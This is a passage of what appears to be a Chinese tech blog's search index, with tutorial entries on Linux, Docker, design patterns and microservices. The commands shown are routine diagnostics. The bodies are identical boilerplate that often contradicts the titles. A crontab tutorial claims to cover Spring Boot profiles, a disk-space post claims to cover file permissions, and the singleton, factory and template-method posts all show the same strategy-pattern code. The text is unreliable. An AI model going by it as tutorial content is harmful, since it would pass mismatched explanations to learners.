title="排查顺序"></a>排查顺序</h2><ol><li>看服务是否还活着。</li><li>看端口是否监听。</li><li>看日志里是否有明确错误。</li><li>看磁盘、内存、CPU 是否异常。</li><li>修改后用命令或浏览器验证结果。</li></ol><p>常用命令：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">ss -lntp</span><br><span class="line"><span class="built_in">df</span> -h</span><br><span class="line">free -m</span><br><span class="line"><span class="built_in">tail</span> -f /var/log/nginx/error.log</span><br></pre></td></tr></table></figure><h2 id="小白要注意什么"><a href="#小白要注意什么" class="headerlink" title="小白要注意什么"></a>小白要注意什么</h2><p>不要看到网上一条命令就直接复制到生产环境。先理解它会改什么、删什么、重启什么，再决定是否执行。</p>]]></content>
      
      
      <categories>
          
          <category> Docker </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 服务器 </tag>
            
            <tag> docker </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>教程：Linux 文件权限和用户组理解</title>
      <link href="//linux-wen-jian-quan-xian-he-yong-hu-zu-li-jie/"/>
      <url>//linux-wen-jian-quan-xian-he-yong-hu-zu-li-jie/</url>
      
        <content type="html"><![CDATA[<h1 id="教程：Linux-文件权限和用户组理解"><a href="#教程：Linux-文件权限和用户组理解" class="headerlink" title="教程：Linux 文件权限和用户组理解"></a>教程：Linux 文件权限和用户组理解</h1><p>Linux 文件权限是运维和后端开发的基础。本文讲权限模型和常见问题。</p><h2 id="先准备可回滚的操作方式"><a href="#先准备可回滚的操作方式" class="headerlink" title="先准备可回滚的操作方式"></a>先准备可回滚的操作方式</h2><p>服务器上的操作不要直接莽。修改配置前先备份，执行命令前先确认路径：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">pwd</span></span><br><span class="line"><span class="built_in">ls</span> -lah</span><br><span class="line"><span class="built_in">cp</span> app.conf app.conf.bak.$(<span class="built_in">date</span> +%F-%H%M%S)</span><br></pre></td></tr></table></figure><p>如果是 Nginx，改完一定先检查配置：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">nginx -t</span><br><span class="line">systemctl reload nginx</span><br></pre></td></tr></table></figure><p>如果是 Docker，先看容器状态和日志：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">docker ps -a</span><br><span class="line">docker logs --<span class="built_in">tail</span>=100 &lt;container&gt;</span><br></pre></td></tr></table></figure><h2 id="排查顺序"><a href="#排查顺序" class="headerlink" title="排查顺序"></a>排查顺序</h2><ol><li>看服务是否还活着。</li><li>看端口是否监听。</li><li>看日志里是否有明确错误。</li><li>看磁盘、内存、CPU 是否异常。</li><li>修改后用命令或浏览器验证结果。</li></ol><p>常用命令：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">ss -lntp</span><br><span class="line"><span class="built_in">df</span> -h</span><br><span class="line">free -m</span><br><span class="line"><span class="built_in">tail</span> -f /var/log/nginx/error.log</span><br></pre></td></tr></table></figure><h2 id="小白要注意什么"><a href="#小白要注意什么" class="headerlink" title="小白要注意什么"></a>小白要注意什么</h2><p>不要看到网上一条命令就直接复制到生产环境。先理解它会改什么、删什么、重启什么，再决定是否执行。</p>]]></content>
      
      
      <categories>
          
          <category> Linux </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 教程 </tag>
            
            <tag> Linux </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>教程：crontab 定时任务从配置到排查</title>
      <link href="//crontab-ding-shi-ren-wu-cong-pei-zhi-dao-pai-cha/"/>
      <url>//crontab-ding-shi-ren-wu-cong-pei-zhi-dao-pai-cha/</url>
      
        <content type="html"><![CDATA[<h1 id="教程：crontab-定时任务从配置到排查"><a href="#教程：crontab-定时任务从配置到排查" class="headerlink" title="教程：crontab 定时任务从配置到排查"></a>教程：crontab 定时任务从配置到排查</h1><p>多环境配置是每个项目都会遇到的问题。本文讲 Spring Boot 中 profile 的正确用法。</p><h2 id="先准备可回滚的操作方式"><a href="#先准备可回滚的操作方式" class="headerlink" title="先准备可回滚的操作方式"></a>先准备可回滚的操作方式</h2><p>服务器上的操作不要直接莽。修改配置前先备份，执行命令前先确认路径：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">pwd</span></span><br><span class="line"><span class="built_in">ls</span> -lah</span><br><span class="line"><span class="built_in">cp</span> app.conf app.conf.bak.$(<span class="built_in">date</span> +%F-%H%M%S)</span><br></pre></td></tr></table></figure><p>如果是 Nginx，改完一定先检查配置：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">nginx -t</span><br><span class="line">systemctl reload nginx</span><br></pre></td></tr></table></figure><p>如果是 Docker，先看容器状态和日志：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">docker ps -a</span><br><span class="line">docker logs --<span class="built_in">tail</span>=100 &lt;container&gt;</span><br></pre></td></tr></table></figure><h2 id="排查顺序"><a href="#排查顺序" class="headerlink" title="排查顺序"></a>排查顺序</h2><ol><li>看服务是否还活着。</li><li>看端口是否监听。</li><li>看日志里是否有明确错误。</li><li>看磁盘、内存、CPU 是否异常。</li><li>修改后用命令或浏览器验证结果。</li></ol><p>常用命令：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">ss -lntp</span><br><span class="line"><span class="built_in">df</span> -h</span><br><span class="line">free -m</span><br><span class="line"><span class="built_in">tail</span> -f /var/log/nginx/error.log</span><br></pre></td></tr></table></figure><h2 id="小白要注意什么"><a href="#小白要注意什么" class="headerlink" title="小白要注意什么"></a>小白要注意什么</h2><p>不要看到网上一条命令就直接复制到生产环境。先理解它会改什么、删什么、重启什么，再决定是否执行。</p>]]></content>
      
      
      <categories>
          
          <category> Linux </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 教程 </tag>
            
            <tag> Linux </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>教程：systemd 服务管理入门</title>
      <link href="//systemd-fu-wu-guan-li-ru-men/"/>
      <url>//systemd-fu-wu-guan-li-ru-men/</url>
      
        <content type="html"><![CDATA[<h1 id="教程：systemd-服务管理入门"><a href="#教程：systemd-服务管理入门" class="headerlink" title="教程：systemd 服务管理入门"></a>教程：systemd 服务管理入门</h1><p>systemd 是 Linux 上的服务管理器。本文讲如何编写 service 文件和管理服务。</p><h2 id="先准备可回滚的操作方式"><a href="#先准备可回滚的操作方式" class="headerlink" title="先准备可回滚的操作方式"></a>先准备可回滚的操作方式</h2><p>服务器上的操作不要直接莽。修改配置前先备份，执行命令前先确认路径：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">pwd</span></span><br><span class="line"><span class="built_in">ls</span> -lah</span><br><span class="line"><span class="built_in">cp</span> app.conf app.conf.bak.$(<span class="built_in">date</span> +%F-%H%M%S)</span><br></pre></td></tr></table></figure><p>如果是 Nginx，改完一定先检查配置：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">nginx -t</span><br><span class="line">systemctl reload nginx</span><br></pre></td></tr></table></figure><p>如果是 Docker，先看容器状态和日志：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">docker ps -a</span><br><span class="line">docker logs --<span class="built_in">tail</span>=100 &lt;container&gt;</span><br></pre></td></tr></table></figure><h2 id="排查顺序"><a href="#排查顺序" class="headerlink" title="排查顺序"></a>排查顺序</h2><ol><li>看服务是否还活着。</li><li>看端口是否监听。</li><li>看日志里是否有明确错误。</li><li>看磁盘、内存、CPU 是否异常。</li><li>修改后用命令或浏览器验证结果。</li></ol><p>常用命令：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">ss -lntp</span><br><span class="line"><span class="built_in">df</span> -h</span><br><span class="line">free -m</span><br><span class="line"><span class="built_in">tail</span> -f /var/log/nginx/error.log</span><br></pre></td></tr></table></figure><h2 id="小白要注意什么"><a href="#小白要注意什么" class="headerlink" title="小白要注意什么"></a>小白要注意什么</h2><p>不要看到网上一条命令就直接复制到生产环境。先理解它会改什么、删什么、重启什么，再决定是否执行。</p>]]></content>
      
      
      <categories>
          
          <category> Linux </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 教程 </tag>
            
            <tag> Linux </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>教程：Linux 查看日志的几种方法</title>
      <link href="//linux-cha-kan-ri-zhi-de-ji-chong-fang-fa/"/>
      <url>//linux-cha-kan-ri-zhi-de-ji-chong-fang-fa/</url>
      
        <content type="html"><![CDATA[<h1 id="教程：Linux-查看日志的几种方法"><a href="#教程：Linux-查看日志的几种方法" class="headerlink" title="教程：Linux 查看日志的几种方法"></a>教程：Linux 查看日志的几种方法</h1><p>日志是线上排查的生命线。本文讲 Spring Boot 中日志配置、分级输出和排查技巧。</p><h2 id="先准备可回滚的操作方式"><a href="#先准备可回滚的操作方式" class="headerlink" title="先准备可回滚的操作方式"></a>先准备可回滚的操作方式</h2><p>服务器上的操作不要直接莽。修改配置前先备份，执行命令前先确认路径：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">pwd</span></span><br><span class="line"><span class="built_in">ls</span> -lah</span><br><span class="line"><span class="built_in">cp</span> app.conf app.conf.bak.$(<span class="built_in">date</span> +%F-%H%M%S)</span><br></pre></td></tr></table></figure><p>如果是 Nginx，改完一定先检查配置：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">nginx -t</span><br><span class="line">systemctl reload nginx</span><br></pre></td></tr></table></figure><p>如果是 Docker，先看容器状态和日志：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">docker ps -a</span><br><span class="line">docker logs --<span class="built_in">tail</span>=100 &lt;container&gt;</span><br></pre></td></tr></table></figure><h2 id="排查顺序"><a href="#排查顺序" class="headerlink" title="排查顺序"></a>排查顺序</h2><ol><li>看服务是否还活着。</li><li>看端口是否监听。</li><li>看日志里是否有明确错误。</li><li>看磁盘、内存、CPU 是否异常。</li><li>修改后用命令或浏览器验证结果。</li></ol><p>常用命令：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">ss -lntp</span><br><span class="line"><span class="built_in">df</span> -h</span><br><span class="line">free -m</span><br><span class="line"><span class="built_in">tail</span> -f /var/log/nginx/error.log</span><br></pre></td></tr></table></figure><h2 id="小白要注意什么"><a href="#小白要注意什么" class="headerlink" title="小白要注意什么"></a>小白要注意什么</h2><p>不要看到网上一条命令就直接复制到生产环境。先理解它会改什么、删什么、重启什么，再决定是否执行。</p>]]></content>
      
      
      <categories>
          
          <category> Linux </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 教程 </tag>
            
            <tag> Linux </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>教程：Linux 磁盘空间占满排查流程</title>
      <link href="//linux-ci-pan-kong-jian-zhan-man-pai-cha-liu-cheng/"/>
      <url>//linux-ci-pan-kong-jian-zhan-man-pai-cha-liu-cheng/</url>
      
        <content type="html"><![CDATA[<h1 id="教程：Linux-磁盘空间占满排查流程"><a href="#教程：Linux-磁盘空间占满排查流程" class="headerlink" title="教程：Linux 磁盘空间占满排查流程"></a>教程：Linux 磁盘空间占满排查流程</h1><p>Linux 文件权限是运维和后端开发的基础。本文讲权限模型和常见问题。</p><h2 id="先准备可回滚的操作方式"><a href="#先准备可回滚的操作方式" class="headerlink" title="先准备可回滚的操作方式"></a>先准备可回滚的操作方式</h2><p>服务器上的操作不要直接莽。修改配置前先备份，执行命令前先确认路径：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">pwd</span></span><br><span class="line"><span class="built_in">ls</span> -lah</span><br><span class="line"><span class="built_in">cp</span> app.conf app.conf.bak.$(<span class="built_in">date</span> +%F-%H%M%S)</span><br></pre></td></tr></table></figure><p>如果是 Nginx，改完一定先检查配置：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">nginx -t</span><br><span class="line">systemctl reload nginx</span><br></pre></td></tr></table></figure><p>如果是 Docker，先看容器状态和日志：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">docker ps -a</span><br><span class="line">docker logs --<span class="built_in">tail</span>=100 &lt;container&gt;</span><br></pre></td></tr></table></figure><h2 id="排查顺序"><a href="#排查顺序" class="headerlink" title="排查顺序"></a>排查顺序</h2><ol><li>看服务是否还活着。</li><li>看端口是否监听。</li><li>看日志里是否有明确错误。</li><li>看磁盘、内存、CPU 是否异常。</li><li>修改后用命令或浏览器验证结果。</li></ol><p>常用命令：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">ss -lntp</span><br><span class="line"><span class="built_in">df</span> -h</span><br><span class="line">free -m</span><br><span class="line"><span class="built_in">tail</span> -f /var/log/nginx/error.log</span><br></pre></td></tr></table></figure><h2 id="小白要注意什么"><a href="#小白要注意什么" class="headerlink" title="小白要注意什么"></a>小白要注意什么</h2><p>不要看到网上一条命令就直接复制到生产环境。先理解它会改什么、删什么、重启什么，再决定是否执行。</p>]]></content>
      
      
      <categories>
          
          <category> Linux </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 教程 </tag>
            
            <tag> Linux </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>教程：责任链模式在审批和过滤器中的应用</title>
      <link href="//ze-ren-lian-mo-shi-zai-shen-pi-he-guo-lu-qi-zhong-de-ying-yong/"/>
      <url>//ze-ren-lian-mo-shi-zai-shen-pi-he-guo-lu-qi-zhong-de-ying-yong/</url>
      
        <content type="html"><![CDATA[<h1 id="教程：责任链模式在审批和过滤器中的应用"><a href="#教程：责任链模式在审批和过滤器中的应用" class="headerlink" title="教程：责任链模式在审批和过滤器中的应用"></a>教程：责任链模式在审批和过滤器中的应用</h1><p>责任链模式在审批和过滤器中应用广泛。本文讲它的实现方式和适用场景。</p><h2 id="先看业务味道"><a href="#先看业务味道" class="headerlink" title="先看业务味道"></a>先看业务味道</h2><p>设计模式不是为了炫技，而是为了解决重复变化。比如同一个业务流程里，不同类型有不同算法，就可以考虑策略模式；对象创建过程很复杂，可以考虑工厂模式。</p><h2 id="一个策略模式示例"><a href="#一个策略模式示例" class="headerlink" title="一个策略模式示例"></a>一个策略模式示例</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">interface</span> <span class="title class_">DiscountStrategy</span> &#123;</span><br><span class="line">    BigDecimal <span class="title function_">calculate</span><span class="params">(BigDecimal amount)</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">VipDiscount</span> <span class="keyword">implements</span> <span class="title class_">DiscountStrategy</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> BigDecimal <span class="title function_">calculate</span><span class="params">(BigDecimal amount)</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> amount.multiply(<span class="keyword">new</span> <span class="title class_">BigDecimal</span>(<span class="string">&quot;0.8&quot;</span>));</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>使用时通过类型选择策略，而不是写一大堆 if else。</p><h2 id="判断是否值得使用"><a href="#判断是否值得使用" class="headerlink" title="判断是否值得使用"></a>判断是否值得使用</h2><p>如果只有两个简单分支，直接 if 可能更清楚。如果规则经常新增、每个规则都有独立逻辑，模式才真正有价值。</p>]]></content>
      
      
      <categories>
          
          <category> 设计模式 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 学习笔记 </tag>
            
            <tag> 设计模式 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>教程：模板方法模式适合流程固定的业务</title>
      <link href="//mo-ban-fang-fa-mo-shi-gua-he-liu-cheng-gu-ding-de-ye-wu/"/>
      <url>//mo-ban-fang-fa-mo-shi-gua-he-liu-cheng-gu-ding-de-ye-wu/</url>
      
        <content type="html"><![CDATA[<h1 id="教程：模板方法模式适合流程固定的业务"><a href="#教程：模板方法模式适合流程固定的业务" class="headerlink" title="教程：模板方法模式适合流程固定的业务"></a>教程：模板方法模式适合流程固定的业务</h1><p>模板方法模式适合流程固定但细节不同的业务。本文讲它的实现和应用场景。</p><h2 id="先看业务味道"><a href="#先看业务味道" class="headerlink" title="先看业务味道"></a>先看业务味道</h2><p>设计模式不是为了炫技，而是为了解决重复变化。比如同一个业务流程里，不同类型有不同算法，就可以考虑策略模式；对象创建过程很复杂，可以考虑工厂模式。</p><h2 id="一个策略模式示例"><a href="#一个策略模式示例" class="headerlink" title="一个策略模式示例"></a>一个策略模式示例</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">interface</span> <span class="title class_">DiscountStrategy</span> &#123;</span><br><span class="line">    BigDecimal <span class="title function_">calculate</span><span class="params">(BigDecimal amount)</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">VipDiscount</span> <span class="keyword">implements</span> <span class="title class_">DiscountStrategy</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> BigDecimal <span class="title function_">calculate</span><span class="params">(BigDecimal amount)</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> amount.multiply(<span class="keyword">new</span> <span class="title class_">BigDecimal</span>(<span class="string">&quot;0.8&quot;</span>));</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>使用时通过类型选择策略，而不是写一大堆 if else。</p><h2 id="判断是否值得使用"><a href="#判断是否值得使用" class="headerlink" title="判断是否值得使用"></a>判断是否值得使用</h2><p>如果只有两个简单分支，直接 if 可能更清楚。如果规则经常新增、每个规则都有独立逻辑，模式才真正有价值。</p>]]></content>
      
      
      <categories>
          
          <category> 设计模式 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 学习笔记 </tag>
            
            <tag> 设计模式 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>教程：策略模式替代大量 if else</title>
      <link href="//ce-lue-mo-shi-ti-dai-da-liang-if-else/"/>
      <url>//ce-lue-mo-shi-ti-dai-da-liang-if-else/</url>
      
        <content type="html"><![CDATA[<h1 id="教程：策略模式替代大量-if-else"><a href="#教程：策略模式替代大量-if-else" class="headerlink" title="教程：策略模式替代大量 if else"></a>教程：策略模式替代大量 if else</h1><p>策略模式是替代大量 if-else 的经典方案。本文讲它的实现方式和注意事项。</p><h2 id="先看业务味道"><a href="#先看业务味道" class="headerlink" title="先看业务味道"></a>先看业务味道</h2><p>设计模式不是为了炫技，而是为了解决重复变化。比如同一个业务流程里，不同类型有不同算法，就可以考虑策略模式；对象创建过程很复杂，可以考虑工厂模式。</p><h2 id="一个策略模式示例"><a href="#一个策略模式示例" class="headerlink" title="一个策略模式示例"></a>一个策略模式示例</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">interface</span> <span class="title class_">DiscountStrategy</span> &#123;</span><br><span class="line">    BigDecimal <span class="title function_">calculate</span><span class="params">(BigDecimal amount)</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">VipDiscount</span> <span class="keyword">implements</span> <span class="title class_">DiscountStrategy</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> BigDecimal <span class="title function_">calculate</span><span class="params">(BigDecimal amount)</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> amount.multiply(<span class="keyword">new</span> <span class="title class_">BigDecimal</span>(<span class="string">&quot;0.8&quot;</span>));</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>使用时通过类型选择策略，而不是写一大堆 if else。</p><h2 id="判断是否值得使用"><a href="#判断是否值得使用" class="headerlink" title="判断是否值得使用"></a>判断是否值得使用</h2><p>如果只有两个简单分支，直接 if 可能更清楚。如果规则经常新增、每个规则都有独立逻辑，模式才真正有价值。</p>]]></content>
      
      
      <categories>
          
          <category> 设计模式 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 学习笔记 </tag>
            
            <tag> 设计模式 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>教程：工厂模式如何降低创建复杂度</title>
      <link href="//gong-han-mo-shi-ru-he-jiang-di-chuang-jian-fu-za-du/"/>
      <url>//gong-han-mo-shi-ru-he-jiang-di-chuang-jian-fu-za-du/</url>
      
        <content type="html"><![CDATA[<h1 id="教程：工厂模式如何降低创建复杂度"><a href="#教程：工厂模式如何降低创建复杂度" class="headerlink" title="教程：工厂模式如何降低创建复杂度"></a>教程：工厂模式如何降低创建复杂度</h1><p>工厂模式能降低创建复杂度，但用不好反而会增加复杂度。本文讲它的适用场景。</p><h2 id="先看业务味道"><a href="#先看业务味道" class="headerlink" title="先看业务味道"></a>先看业务味道</h2><p>设计模式不是为了炫技，而是为了解决重复变化。比如同一个业务流程里，不同类型有不同算法，就可以考虑策略模式；对象创建过程很复杂，可以考虑工厂模式。</p><h2 id="一个策略模式示例"><a href="#一个策略模式示例" class="headerlink" title="一个策略模式示例"></a>一个策略模式示例</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">interface</span> <span class="title class_">DiscountStrategy</span> &#123;</span><br><span class="line">    BigDecimal <span class="title function_">calculate</span><span class="params">(BigDecimal amount)</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">VipDiscount</span> <span class="keyword">implements</span> <span class="title class_">DiscountStrategy</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> BigDecimal <span class="title function_">calculate</span><span class="params">(BigDecimal amount)</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> amount.multiply(<span class="keyword">new</span> <span class="title class_">BigDecimal</span>(<span class="string">&quot;0.8&quot;</span>));</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>使用时通过类型选择策略，而不是写一大堆 if else。</p><h2 id="判断是否值得使用"><a href="#判断是否值得使用" class="headerlink" title="判断是否值得使用"></a>判断是否值得使用</h2><p>如果只有两个简单分支，直接 if 可能更清楚。如果规则经常新增、每个规则都有独立逻辑，模式才真正有价值。</p>]]></content>
      
      
      <categories>
          
          <category> 设计模式 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 学习笔记 </tag>
            
            <tag> 设计模式 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>教程：单例模式的线程安全写法</title>
      <link href="//dan-li-mo-shi-de-xian-cheng-an-quan-xie-fa/"/>
      <url>//dan-li-mo-shi-de-xian-cheng-an-quan-xie-fa/</url>
      
        <content type="html"><![CDATA[<h1 id="教程：单例模式的线程安全写法"><a href="#教程：单例模式的线程安全写法" class="headerlink" title="教程：单例模式的线程安全写法"></a>教程：单例模式的线程安全写法</h1><p>单例模式看似简单，但线程安全的写法有很多讲究。本文讲各种实现的区别。</p><h2 id="先看业务味道"><a href="#先看业务味道" class="headerlink" title="先看业务味道"></a>先看业务味道</h2><p>设计模式不是为了炫技，而是为了解决重复变化。比如同一个业务流程里，不同类型有不同算法，就可以考虑策略模式；对象创建过程很复杂，可以考虑工厂模式。</p><h2 id="一个策略模式示例"><a href="#一个策略模式示例" class="headerlink" title="一个策略模式示例"></a>一个策略模式示例</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">interface</span> <span class="title class_">DiscountStrategy</span> &#123;</span><br><span class="line">    BigDecimal <span class="title function_">calculate</span><span class="params">(BigDecimal amount)</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">VipDiscount</span> <span class="keyword">implements</span> <span class="title class_">DiscountStrategy</span> &#123;</span><br><span class="line">    <span class="keyword">public</span> BigDecimal <span class="title function_">calculate</span><span class="params">(BigDecimal amount)</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> amount.multiply(<span class="keyword">new</span> <span class="title class_">BigDecimal</span>(<span class="string">&quot;0.8&quot;</span>));</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>使用时通过类型选择策略，而不是写一大堆 if else。</p><h2 id="判断是否值得使用"><a href="#判断是否值得使用" class="headerlink" title="判断是否值得使用"></a>判断是否值得使用</h2><p>如果只有两个简单分支，直接 if 可能更清楚。如果规则经常新增、每个规则都有独立逻辑，模式才真正有价值。</p>]]></content>
      
      
      <categories>
          
          <category> 设计模式 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 学习笔记 </tag>
            
            <tag> 设计模式 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>教程：接口版本管理和灰度发布思路</title>
      <link href="//jie-kou-ban-ben-guan-li-he-hui-du-fa-bu-si-lu/"/>
      <url>//jie-kou-ban-ben-guan-li-he-hui-du-fa-bu-si-lu/</url>
      
        <content type="html"><![CDATA[<h1 id="教程：接口版本管理和灰度发布思路"><a href="#教程：接口版本管理和灰度发布思路" class="headerlink" title="教程：接口版本管理和灰度发布思路"></a>教程：接口版本管理和灰度发布思路</h1><p>接口版本管理和灰度发布是长期维护项目必须考虑的。本文讲几种常见做法。</p><h2 id="先从业务问题出发"><a href="#先从业务问题出发" class="headerlink" title="先从业务问题出发"></a>先从业务问题出发</h2><p>架构设计不要先问“用什么中间件”，而要先问业务目标：是要提升吞吐、解耦系统、保证最终一致，还是降低峰值压力？不同目标对应的方案完全不同。</p><h2 id="一个典型流程"><a href="#一个典型流程" class="headerlink" title="一个典型流程"></a>一个典型流程</h2><p>以订单创建后发送通知为例：</p><ol><li>订单服务先保存订单。</li><li>写入消息或事件。</li><li>通知服务异步消费。</li><li>消费端做好幂等，避免重复通知。</li></ol><p>伪代码可以这样理解：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">orderService.create(order);</span><br><span class="line">messageProducer.send(<span class="string">&quot;order.created&quot;</span>, order.getId());</span><br></pre></td></tr></table></figure><p>消费端必须能处理重复消息：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">if</span> (processed(messageId)) &#123;</span><br><span class="line">    <span class="keyword">return</span>;</span><br><span class="line">&#125;</span><br><span class="line">handleMessage(message);</span><br><span class="line">markProcessed(messageId);</span><br></pre></td></tr></table></figure><h2 id="设计时要补的问题"><a href="#设计时要补的问题" class="headerlink" title="设计时要补的问题"></a>设计时要补的问题</h2><ul><li>消息发送失败怎么办？</li><li>消费失败是否重试？</li><li>重复消费如何保证幂等？</li><li>下游长时间不可用时如何降级？</li></ul>]]></content>
      
      
      <categories>
          
          <category> 微服务 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 架构 </tag>
            
            <tag> SpringCloud </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>教程：OpenFeign 调用超时和重试配置</title>
      <link href="//openfeign-diao-yong-chao-shi-he-chong-shi-pei-zhi/"/>
      <url>//openfeign-diao-yong-chao-shi-he-chong-shi-pei-zhi/</url>
      
        <content type="html"><![CDATA[<h1 id="教程：OpenFeign-调用超时和重试配置"><a href="#教程：OpenFeign-调用超时和重试配置" class="headerlink" title="教程：OpenFeign 调用超时和重试配置"></a>教程：OpenFeign 调用超时和重试配置</h1><p>多环境配置是每个项目都会遇到的问题。本文讲 Spring Boot 中 profile 的正确用法。</p><h2 id="先从业务问题出发"><a href="#先从业务问题出发" class="headerlink" title="先从业务问题出发"></a>先从业务问题出发</h2><p>架构设计不要先问“用什么中间件”，而要先问业务目标：是要提升吞吐、解耦系统、保证最终一致，还是降低峰值压力？不同目标对应的方案完全不同。</p><h2 id="一个典型流程"><a href="#一个典型流程" class="headerlink" title="一个典型流程"></a>一个典型流程</h2><p>以订单创建后发送通知为例：</p><ol><li>订单服务先保存订单。</li><li>写入消息或事件。</li><li>通知服务异步消费。</li><li>消费端做好幂等，避免重复通知。</li></ol><p>伪代码可以这样理解：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line">orderService.create(order);</span><br><span class="line">messageProducer.send(<span class="string">&quot;order.created&quot;</span>, order.getId());</span><br></pre></td></tr></table></figure><p>消费端必须能处理重复消息：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">if</span> (processed(messageId)) &#123;</span><br><span class="line">    <span class="keyword">return</span>;</span><br><span class="line">&#125;</span><br><span class="line">handleMessage(message);</span><br><span class="line">markProcessed(messageId);</span><br></pre></td></tr></table></figure><h2 id="设计时要补的问题"><a href="#设计时要补的问题" class="headerlink" title="设计时要补的问题"></a>设计时要补的问题</h2><ul><li>消息发送失败怎么办？</li><li>消费失败是否重试？</li><li>重复消费如何保证幂等？</li><li>下游长时间不可用时如何降级？</li></ul>]]></content>
      
      
      <categories>
          
          <category> 微服务 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 架构 </tag>
            
            <tag> SpringCloud </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>教程：网关在微服务里承担什么职责</title>
      <link href="//wang-guan-zai-wei-fu-wu-li-cheng-dan-shi-me-zhi-ze/"/>
      <url>//wang-guan-zai-wei-fu-wu-li-cheng-dan-shi-me-zhi-ze/</url>
      
